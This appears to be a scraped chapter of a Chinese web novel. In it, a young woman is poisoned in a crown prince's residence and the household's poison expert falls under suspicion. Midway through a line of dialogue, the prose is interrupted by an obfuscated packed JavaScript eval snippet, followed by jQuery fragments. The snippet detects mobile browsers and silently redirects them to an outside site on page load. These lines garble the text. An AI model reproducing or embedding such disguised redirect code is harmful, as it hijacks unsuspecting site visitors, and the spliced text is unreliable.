37. 中毒

作品:《是谎

    很快,便有许多人涌进了“乱红飞絮”,凌素见曲意人事不知地躺在余巧怀里,忙飞奔过来,满脸惊惧地将人接过,指尖搭上她的脉搏。


    脉象竟是时而时断时续,似有若无,又时而激荡猛烈,狂躁不已。


    凌素心中大惊,尖声朝余巧喝道,“这是怎么回事?姑娘怎会来你这院子?又怎会昏过去?”


    余巧不知该作何回答,只能沉默,余光却瞥向一旁“岿然不动”,仍自顾自闭眼仰躺,呵呵傻乐的荼白。


    “你最好给我个交代!”凌素丢下这话,将曲意打横抱起,快步离去。


    众人走后,余巧才缓缓站起身,清亮的眸子望向不远处地上那滩麻雀留下的血迹,自嘲般笑了笑。


    她搬出屋内的水盆,泼洒一地,将那血迹冲散了,融进泥土里,又拿了条毛毯出来,盖在荼白身上,“今日阳光虽足,也不能在这里吹太久风,若要小憩,还是得盖上毯子,你伤还未愈,要小心着些。”


    做完该做的,说完该说的,余巧才拍了拍沾了些泥土的衣摆,一步一步、端端正正、稳稳当当地离开了“乱红飞絮”,去往曲意的院子。


    余巧刚走,荼白便睁开眼,一把撩开身上的毯子,任其滑落于地,又举起手中的弹弓,细细描摹一番,不知在想些什么。片刻后许是想通了,又将地上的毯子捡了起来,严严实实地盖在身上,安心睡去。


    侍女匆匆赶来时,商景辞正提笔在那卷轴上不时记画着,不得不说,疏缈阁的情报天下无双,其中诸多记载,竟像是听了墙脚得来的一般。


    侍女同他十分粗略地讲了余巧院中的事,商景辞听得颇有些云里雾里,仍是撂下卷轴,急急赶至曲意院中,却见曲意房门紧闭,余巧沉着脸站在廊下等候。


    商景辞步向余巧,“怎么回事?”


    余巧强扯出一个笑脸,“我也不知。”


    商景辞音量不觉拔高几分,“不知?”


    余巧恭恭敬敬地垂首,再次答道,“确实不知。”


    商景辞面色不虞,大步上前轻叩曲意房门,“如何了?”


    屋内迟迟没有回应。


    商景辞心中焦急,只能再敲,终于,凌素面色凝重地出来开了房门。


    商景辞急忙问,“发生何事?她怎会突然晕倒?”


    凌素哑着声音说,“她中毒了。”


    “中毒?”商景辞先是一怔,旋即追问,“什么毒?”


    凌素有些颓唐,“我尚不能确定。”


    商景辞立即说,“余巧,你进去看看!”


    “是。”


    余巧阔步往屋内走去,却不料凌素横臂挡在门前,喝道,“你站住!”


    余巧抬起的脚尚未落下,便怔怔顿在原地,呆呆望向素来交好的凌素,一副难以置信的模样。


    凌素将头偏到一旁,不愿看她,只冷冷说,“我尚不知姑娘所中之毒从何而来,可在这府里,你是唯一擅毒的人,姑娘日日与太子同食,除一日三餐外,近来只吃了你偶尔送来的糕点。”


    余巧眸光闪烁,松松抓着凌素的衣袖,“凌姐姐,你怀疑我?”


    凌素将她推开,仍是冷然道,“姑娘是在你院中中毒的,你告诉我,她此前从未去过你那里,为何今日会去?”


    余巧踉跄倒退几步,眼眶渐渐泛红,苦涩说,“我不知道。”


    “我们被困在太子府中,不见外人、不食外物、吃穿用度皆有定数,况且府中饮食皆要你的经手验过方可,即便不是你下毒,你亦有失职之错!你要我信你,便要想办法自证清白,如今你一问三不知,我又怎能信你?”


    凌素句句在理,将余巧问得哑口无言,呆立一旁。


    凌素并不愿信是余巧所为,可如今看来,唯有她有动机、有能力、更有机会做下此事。


    商景辞扯着余巧胳膊,将她拖至身侧,低吼,“你即刻入宫去请太医,只说是我病了,召那些老古董来!”


    余巧抽噎一声,慌忙朝外跑去,可转瞬便听见凌素阴沉道,“不必了,我虽学艺不精,可疏缈阁人才济济,总不至于解不了这毒,不劳烦殿下费心,你只带着你的人滚出我们院子,别趁人之危,捅人一刀便好。”


    商景辞愤愤道,“好利的一张嘴,难不成你连我这太子也怀疑?”


    “于你这太子府而言,我与姑娘终是外人,我不信你,有何不对?再者,余巧毕竟是你的人,谁又能保证不是你的授意,她才会对姑娘下手?”


    余巧眸中含泪,自嘲一笑。这般时日,她自以为已竭力向曲意二人示好,便算不得朋友,也该是盟友了吧,可一旦有事发生,凌素轻飘飘几句话,便将她彻头彻尾归之于太子一派。


    可凌素这般想又有何错?


    她受昭和皇后教导,自幼同太子在一处,一生中一步步皆已注定,即便她想改变,想有亲人、想有朋友,可这一切从始至终便是不可能的。


    亲人,是假的。


    朋友,只要她无法斩断前尘,无法脱离昭和皇后与太子的掌控,便永远不会真正相信她。


    商景辞怒喝一声,“你但凡动动你的脑子便该知晓,本殿有何理由要害她!”


    “那殿下不妨回答我,在你的地盘上,是谁这么有能耐给她下了毒?”


    商景辞一口气憋在心里,强忍着没有同她起更大的冲突,“罢了,那就请姑娘尽快通知阁中人来为她诊治,若有新的情况,烦请知会一声,无论姑娘信与不信,我都是真心关切贵阁主的。


    凌素伸手指向院门,意在送客。


    商景辞隔着房门,再三朝屋内望了望,最终甩袖而去。余巧亦不再多言,微微俯身对凌素施了一礼,转身离去。


    二人走后,凌素急急唤来信鸽,将此事报给曲情,曲意的毒她是真的看不出,更解不了,只能以银针先封住几大穴位,保下曲意的命罢了。


    商景辞回至书房,面色铁青地坐了下来,余巧上前为他续了杯茶,便站至一旁,等着他的问责。


    商景辞飞快地思考着整件事,凌素说得句句在理,府内食物皆要经过层层检验,若有人有毒倒曲意这个能耐,那他这太子早就死八百回了。


    若说是余巧下了毒,他是不大信的,毕竟相识多年,他深知余巧的心性。可若不是余巧,谁又有这个能耐,能在他和余巧的眼皮子底下给曲意下毒呢?


    一时间,屋内静得落针可闻。


    良久,余巧跪下道,“殿下有话便问,此毒虽非我所下,可毕竟府内膳食皆由我所管,职责之内出了此事,我甘愿受罚。”


    “你是该罚,可眼下最重要的还是曲意能安然无恙,凌素这般拦着,也不知她如何了?”


    余巧说,“姑娘倒下时我大概探了她的脉,虽不算仔细,可也察觉此毒绝不简单。”


    “罢了,且等等吧,疏缈阁药斋中人医术十分高明,较之太医院亦不逊色,凌素既不要我们相帮,想必是十分有把握的,你派人在她们院外听着些消息就是。”


    “是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815691|172360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    余巧安排好一切,方才回至院中,她瞧了眼仍在摇椅上卧着的荼白,便直奔往日研习医毒的侧室。


    她方才虽只是匆忙探过曲意的脉,可那脉象太过于奇怪,也太有特点,能令人瞬间昏厥濒死,且脉象滑如走珠、时弱时强的毒,她这里就有一瓶,名唤“落霞火”,此毒乃是昭和皇后秘密命她研制,而她年初才制出来的毒,毒性猛烈,尚无解药。


    只因此毒有一个致命弱点,其红艳艳的颜色化不去,是以余巧只对昭和皇后报过几次进度,却尚未正式将毒交给昭和皇后。所以,此毒除了她无人能有,更是无解。


    余巧将那瓶毒握在手中,一时不知该如何处置,若将它丢到外边,便能为自己洗脱嫌疑,可...


    余巧在屋中呆了一夜不曾出来,微弱的灯光明明暗暗,却不曾灭去。荼白迷迷糊糊睡醒,拍了拍高耸的肚皮,跑到灶房偷了几个包子回来,见余巧把自己关在屋里,敲了几下房门,又施舍了几个包子放在地上。


    说她傻?她倒还没忘了余巧。


    说她聪明?那包子底下连块干净的布都没有,沾了一地的尘土。


    黑沉无光的暗夜,以曲情为首,一行人翻墙进了太子府,一路畅通无阻,直奔曲意院中。


    凌素见她来了,跪地认罪,“凌素失职,请阁主责罚。”


    曲情冷声说,“起来,意儿究竟所中何毒,你竟完全看不出来么?”


    凌素颓丧道,“属下学艺不精,着实辨不出此毒。”


    “罢了,你不善变通,故而毒理习得从来不好,许是你果真未见过的毒吧。”曲情绕过她向屋内行去。


    凌素亦步亦趋跟在曲情身后,其余人则守在屋外。


    曲情拨开曲意床帏,见她手臂、胸前,脚腕皆刺有银针,暂时封住了毒性。一番检查后,曲情淡淡道,“银针刺穴,你做得很好,只是有几根针刺得尚浅,不够精准。”


    凌素弱弱说,“因为意儿小姐哭得厉害,所以我...”


    曲情打断,“看来我是白教你了。”


    凌素听出她话中不悦,又羞又愧,张张嘴不知该说什么,只是端端正正地跪下自罚。


    曲情没有心情再管凌素如何,曲意瞳孔已有涣散之象,脉象乱得更是厉害,着实难以分辨是何毒物所至。


    曲情自药箱中取出一根银针深深刺入曲意指尖,疼得昏睡中的曲意“嘤嘤”哭了几声,半晌,曲情又将那针取出,拿出一个小碗接下毒血。


    曲情将那碗放在桌子上,又自药箱中取出布条、毒药瓶、各类草药等物,她一夜未眠,忙着分析毒性,研制解药。


    凌素帮不上忙,只偶尔站起填灯油、倒茶水,随后仍旧跪在一旁。


    打从曲情一行人入府之时,商景辞便已知晓,可等了许久却都没传来解毒的消息,他愈发后怕,实是放心不下,于是朝着曲意院中行去。


    及至院门前,他瞧见房门外守着几个人,唯恐再度被凌素赶出去,便敛去呼吸,放轻脚步,避开众人视线从另一侧飞身上了房顶,幸而曲情带来的皆是医者,武艺平常,他才未被觉察。


    商景辞吸取上次的教训,没有动朝向内院一侧藏着淬毒箭尖的瓦片,而是翻到另一侧,选了一片朝向院外的瓦片掀开,悄声看着屋内情况。


    视线正下方是跪着的凌素,紧接着,他听见了“哗啦啦”的水声,顺着水声望去,氤氲水汽间,竟见到曲意未着寸缕浸泡在浴桶中,心念微动,急忙撇过头去。